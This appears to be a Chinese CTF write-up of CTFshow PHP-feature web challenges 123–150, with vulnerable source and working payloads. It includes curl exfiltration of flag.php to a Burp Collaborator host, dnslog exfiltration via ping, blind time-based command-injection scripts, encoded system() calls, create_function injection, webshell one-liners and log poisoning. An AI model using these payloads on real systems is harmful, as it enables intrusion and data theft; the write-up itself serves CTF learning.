首页 > 编程语言 >CTFshow刷题日记-WEB-PHP特性(下篇123-150)

CTFshow刷题日记-WEB-PHP特性(下篇123-150)

时间:2022-11-17 10:07:29浏览次数:77  
标签:__ WEB 150 GET 修饰符 flag 123 file php


web123,125,126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

以下内容来自羽师傅的博客

第一个难搞的地方isset($_POST[‘CTF_SHOW.COM’])因为php变量命名是不允许使用点号的
可以测试一下

<?php
var_dump($_POST);

输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }

那么既然题目是可以有方法通过的,我们就来个暴力的方式
下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0

<?php
function curl($url,$data){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
curl_close($ch);
return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) {
for ($j=0; $j <=128 ; $j++) {
$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
if(curl($url,$data)!=0){
echo $data."\n";
}
}
}

其中test.php中的内容

<?php
if(isset($_POST['CTF_SHOW.COM'])){
echo 123;
}

输出结果

CTF%5BSHOW.COM=123

具体的原理尚不清楚
另外一个知识点

1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以

​$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']​

这时候我们只要通过 eval("CTFshow刷题日记-WEB-PHP特性(下篇123-150)_数组flag赋值flag_give_me就可以了

payload:
get: $fl0g=flag_give_me;
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

非预期解

post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以

预期解

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

本地测试了下

<?php
$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me"

有大佬啃了下php的c源码总结如下

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

根php url解析有关

php在解析查询字符串时,它会做两件事:

  1. 删除空白符
  2. 将某些字符转换为下划线(包括空格)

还有以下字符等同于ctf_show

+ _ [ .    转换成下划线
+ 这里的加号在url中起到空格的作用

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

考察:gettext扩展

开启扩展后_() 效果合 gettext() 相同

实例:

echo gettext("phpinfo");
结果 phpinfo

echo _("phpinfo");
结果 phpinfo
效果一样

​call_user_func('_','phpinfo')​​ 返回的就是phpinfo

flag在flag.php文件中, 可以用 get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量

效果就和$GLOBES一样

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_字符串_02

web129

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos() 
查找字符串在另一字符串中第一次出现的(不区分大小写)

f 中必须出现 ctfshow 字符串,并且不能再开头

方法一:

远程文件包含,在自己的服务器上写一个一句话,保存为txt格式

访问:

?f=http://url/xxx.txt?ctfshow

方法二:

伪协议

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

filter伪协议支持多种编码方式,无效的就被忽略掉了

web130

利用正则最大回溯次数绕过

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}

题目提示:very very very(省略25万个very)ctfshow

PHP 为了防止正则表达式的拒绝服务击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false, 这样就可以绕过第一个正则表达式了

python脚本

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

非预期解法

直接 post ,正则匹配到 ​​ctfshow​​​与匹配规则不符 ,同时 ​​stripos​​在第0 匹配, 而0=== FALSE为假绕过。

f=ctfshow
利用数组 f[]=ctfshow

web131

修复了130的非预期解法, 只能使用利用正则最大回溯次数绕过

web132

有一个简单的前端,用dirsearch也没扫到,发现他会跳转一下,加上端口访问robots.txt,发现存在admin目录,访问得到源码

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}
}
}

关键在

if(false && false || ture)

因为 && 的优先级大于 ||,所以就相当于 (false && false) || ture,只要后边是true就行

ip:8080/admin/?username=admin&password=&code=

web133-无回显rce

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

主要是考察,命令执行的骚操作和curl -F的使用

如果我们传递的参数就是​​$F​​本身,会不会发生变量覆盖?

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**

因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断, 经过substr($F,0,6)截取后 得到 `$F `;
然后去执行eval()函数,也就是会执行 eval("`$F `;");
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就突破长度限制执行成功

有点绕,也就是说 ; 后边的内容是我们可以控制的,但是没有回显

然后就是利用curl去带出flag.php
​​​curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)​

# payload 
# 其中-F 为带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F [email protected] http://nqh3hfwolip6i6vh6igq0zdnnet9hy.burpcollaborator.net

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_php_03

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_数组_04

所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag

web134-POST数组的覆盖

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

以GET 传参​​_POST[a]​​相当于post传参 a 的效果。

构造paylaod

?_POST[key1]=36d&_POST[key2]=36d

查看源码拿到flag

web135-133加强版

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然了前面的,那就来一个加强版吧");
}
}

比133题添加了过滤

但是没有过滤mv,cp,ping,nl

?F=`$F`; cp flag.php flag.txt
?F=`$F`; mv flag.php flag.txt

ping

payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn

nl

?F=`$F `;nl f*>flag.txt

访问即可

web136-tee命令

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

tee命令

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

tee [OPTION]... [FILE]...

构造payload:

ls /|tee 1 访问url/1下载发现根目录下有flag 
cat /f149_15_h3r3|tee 2 访问下载

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_数组_05

web137-php范围解析操作符

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
  • call_user_func — 把第一个参数作为回调函数调用
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

直接调用​​getFlag​​函数

payload

ctfshow=ctfshow::getFlag

web138-call_user_func解析数组

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

strripos函数-计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)

用call_user_func()来调用一个类里面的方法

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

payload:

post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_php_06

web139-136加强版

<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

源码和136是一样的但是限制了文件写入权限

出题人的脚本。

猜测文件名

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "

得到flag所在文件 f149_15_h3r3,接着盲注文件内容

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

因为过滤了{}所以会我们就不加{}出来,跑出来flag然后手动添加就可以了。
如果容易出错的话,可以在payload=xxx前面加个time.sleep(0.1)

web140-弱类型比较

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

因为intval($code) == ‘ctfshow’,是弱类型比较所以只要让code=0就行了

f1=md5&f2=sleep //md5(sleep())
f1=md5&f2=md5 //md5(md5())
f1=md5&f2=phpinfo //md5(phpinfo())
f1=usleep&f2=usleep
current(localeconv)
sha1(getcwd()

web141-绕过return,取反执行php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

v1和v2必须是数字,v3采用W,匹配任何非单词字符。等价于​​[^A-Za-z0-9_]​

构造命令有多种方法​​链接​​(印象笔记保存),主要的任务是绕过return

eval("return 1;phpinfo();");

发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-

构造命令就用上边链接中最简单的取反,取反脚本如下

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_数组_07

payload

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

触发火绒,退出即可

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

payload

?v1=0
?v1=0e1
?v1=0x0

web143-141加强版

提示:141的plus版本

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

加了过滤

过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令

payload

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*

web144-141变种

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

还是在141的基础上,改变了三个变量的位置

?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")&v3=*

web145-141加强版三目运算符的妙用

if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){

加减乘除都被过滤了

eval("return 1?phpinfo():1;");

这样是可以执行php命令的

payload

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1

web146-再加强版

if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3))

: 给过滤了,没法用三目运算符

可以用等号和逻辑运算符

eval("return 1==phpinfo()||1;");

payload

v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1

web147-create_function

提示:RCE

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}

正则

/isD

i (PCRE_CASELESS)

如果设置了这个修饰符, 模式中的字母会进行大小写不敏感匹配.

m (PCRE_MULTILINE)

默认情况下, PCRE认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符(^)仅匹配字符串的开始位置, 而"行末"元字符($)仅匹配字符串末尾, 或者最后的换行符(除非设置了D修饰符). 这个行为和perl相同. 当这个修饰符设置之后, "行首"和"行末"就会匹配目标字符串中任意换行符之前或之后, 另外, 还分别匹配目标字符串的最开始和最末尾位置. 这等同于perl的/m修饰符. 如果目标字符串 中没有"\n"字符, 或者模式中没有出现^或$, 设置这个修饰符不产生任何影响.

s (PCRE_DOTALL)

如果设置了这个修饰符, 模式中的点号元字符匹配所有字符, 包含换行符. 如果没有这个 修饰符, 点号不匹配换行符. 这个修饰符等同于perl中的/s修饰符. 一个取反字符类比如 [^a]总是匹配换行符, 而不依赖于这个修饰符的设置.

x (PCRE_EXTENDED)

如果设置了这个修饰符, 模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略, 并且位于一个未转义的字符类外部的#字符和下一个换行符之间的字符也被忽略. 这个修饰符 等同于perl中的/x修饰符, 使被编译模式中可以包含注释. 注意: 这仅用于数据字符. 空白字符 还是不能在模式的特殊字符序列中出现, 比如序列(?(引入了一个条件子组(译注: 这种语法定义的 特殊字符序列中如果出现空白字符会导致编译错误. 比如( ?(就会导致错误.).

e (PREG_REPLACE_EVAL)

如果这个修饰符设置了, preg_replace()在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval函数方式), 并使用执行结果 作为实际参与替换的字符串. 单引号, 双引号, 反斜线()和NULL字符在 后向引用替换时会被用反斜线转义.

Tip

请确保replacement参数由合法php代码字符串组成, 否则php将会 在 preg_replace()调用的行上 产生一个解释错误.

Note: 仅 preg_replace()使用此修饰符, 其他PCRE函数忽略此修饰符.

A (PCRE_ANCHORED)

如果设置了这个修饰符, 模式被强制为”锚定”模式, 也就是说约束匹配使其仅从 目标字符串的开始位置搜索. 这个效果同样可以使用适当的模式构造出来, 并且 这也是perl种实现这种模式的唯一途径.

D (PCRE_DOLLAR_ENDONLY)

如果这个修饰符被设置, 模式中的元字符美元符号仅仅匹配目标字符串的末尾. 如果这个修饰符 没有设置, 当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符). 如果设置了修饰符m, 这个修饰符被忽略. 在perl中没有与此修饰符等同的修饰符.

S

当一个模式需要多次使用的时候, 为了得到匹配速度的提升, 值得花费一些时间 对其进行一些额外的分析. 如果设置了这个修饰符, 这个额外的分析就会执行. 当前, 这种对一个模式的分析仅仅适用于非锚定模式的匹配(即没有单独的固定开始字符).

U (PCRE_UNGREEDY)

这个修饰符逆转了量词的”贪婪”模式. 使量词默认为非贪婪的, 通过量词后紧跟?的方式可以使其成为贪婪的. 这和perl是不兼容的. 它同样可以使用 模式内修饰符设置(?U)进行设置, 或者在量词后以问号标记其非贪婪(比如.*?).

Note:

在非贪婪模式, 通常不能匹配超过 pcre.backtrack_limit的字符.

X (PCRE_EXTRA)

这个修饰符打开了PCRE与perl不兼容的附件功能. 模式中的任意反斜线后就ingen一个 没有特殊含义的字符都会导致一个错误, 以此保留这些字符以保证向后兼容性. 默认 情况下, 在perl中, 反斜线紧跟一个没有特殊含义的字符被认为是该字符的原文. 当前没有其他特性由这个修饰符控制.

J (PCRE_INFO_JCHANGED)

内部选项设置(?J)修改本地的PCRE_DUPNAMES选项. 允许子组重名. (译注:只能通过内部选项设置, 外部的/J设置会产生错误.)

u (PCRE8)

此修正符打开一个与perl不兼容的附加功能. 模式字符串被认为是utf-8的. 这个修饰符 从unix版php 4.1.0或更高, win32版php 4.2.3开始可用. php 4.3.5开始检查模式的utf-8合法性. This modifier turns on additional functionality of PCRE that is incompatible with Perl. Pattern strings are treated as UTF-8. This modifier is available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32. UTF-8 validity of the pattern is checked since PHP 4.3.5.

也就是说不能是小写字母和数字下划线

可以用 create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

如果第二个参数传入 echo1;}phpinfo();//

function f($a) {
echo 1;}phpinfo();//
}
执行phpinfo()命令
ctf=%5ccreate_function

单纯 create_function 不能通过正则, 需要在前面加 \ 即%5c

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

​链接​

payload

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

web148-中文变量

提示:什么是变量?

include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

预期解:

利用中文变量,异或

"`{{{"^"?<>/"; 异或出来的结果是 _GET

payload

code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

非预期解:

code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

web149-条件竞争

提示:你写的快还是我删的快?

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}

预期解:

写个脚本,或者用burp,一个写,一个访问,条件竞争

ctf=1.php
show=<?php system('tac /c*');?>

非预期解:

直接往index.php里面写一句话

ctf=index.php
show=<?php eval($_POST[1]);?>

web150-文件包含非预期绕过

hint:文件包含非预期绕过

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

整理下变量

$key  get中不能出现 _ 空格 [] ?
$ctf 中有:时 isVIP 需要等于false

日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为<?php eval($_POST[1]);?>
然后包含日志文件后如下图所示

CTFshow刷题日记-WEB-PHP特性(下篇123-150)_字符串_08

web150plus

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

标签:__,WEB,150,GET,修饰符,flag,123,file,php
From: https://blog.51cto.com/u_15878568/5859825

相关文章

  • 2021长安杯web复现
    ez_py随便输一个账密,进入后台,存在jwt,使用jwtcrack暴力,得到secret是CTf4r登进去,发现啥东西没有,既然是python考点大概是ssti,寻找注入点就是user,绕过过滤,构造paylo......
  • 2021湖湘杯easy&&深育杯WEBLog
    文章目录​​湖湘杯easy​​​​深育杯WEBLog​​湖湘杯easy<?phpnamespacehome\controller;classIndexController{publicfunctionindex(){highlight_file(......
  • WebSocket
    1<?php23/*4BasedonPHPWebSocketServer0.25-http://code.google.com/p/php-websocket-server/6-http://code.google.com/p/......
  • python web自动化-文件上传三种方法
    文件上传三种方式:(一)查看元素标签,如果是input,则可以参照文本框输入的形式进行文件上传方法:和用户输入是一样的,使用send_keys步骤:1、找到定位元素,2,输入文件路径ele=driv......
  • Web3 时代的微信
    Web3.0正在向人们的生活逼近,那么在Web3下,人们的社交状态会是什么样的?也许,你可以看看Discord这款社交产品。所以,你了解Discord是什么吗?这款音频聊天工具又是为什么可以......
  • Web核心之Http,tomcat,servlet
    Http,Tomcat和Servlethttp是超文本传输协议,规定了浏览器和服务器之间的数据传输规则,而他与服务器之间的有请求数据和响应数据的工作。 请求数据的格式:1.请求行:请求数据......
  • 使用Metaweblog上传MD文件到博客园遇到的几个问题
    can'topenfile'upload.py':[Errno2]Nosuchfileordirectory分析:upload.py文件在pycnblog源代码文件夹下,而cmd命令的执行路径是C:\WINDOWS\System32,所以提示找不......
  • 使用 Nginx 如何部署 web 项目
    第一步:前往Nginx官方下载Nginx资源包,建议下载Stableversion(长期稳定版本)   第二步:将Nginx压缩包解压到本地目录中(D:\Tools)   第三步:进入到已经解压......
  • spingboot10(切换内置web服务器)
    1-我们在使用SpringBoot_Web的使用默认会使用"Tomcat"服务器2-查看SpringBoot服务器的内置种类解析:知道了SpringBoot的4种服务器种类,现在就可以选择切换......
  • 分享:大型Web网站架构演变之9大阶段
    前言我们以JavaWeb为例,来搭建一个简单的电商系统,看看这个系统可以如何一步步演变。该系统具备的功能:用户模块:用户注册和管理商品模块:商品展示和管理交易模块:创建交易和管理......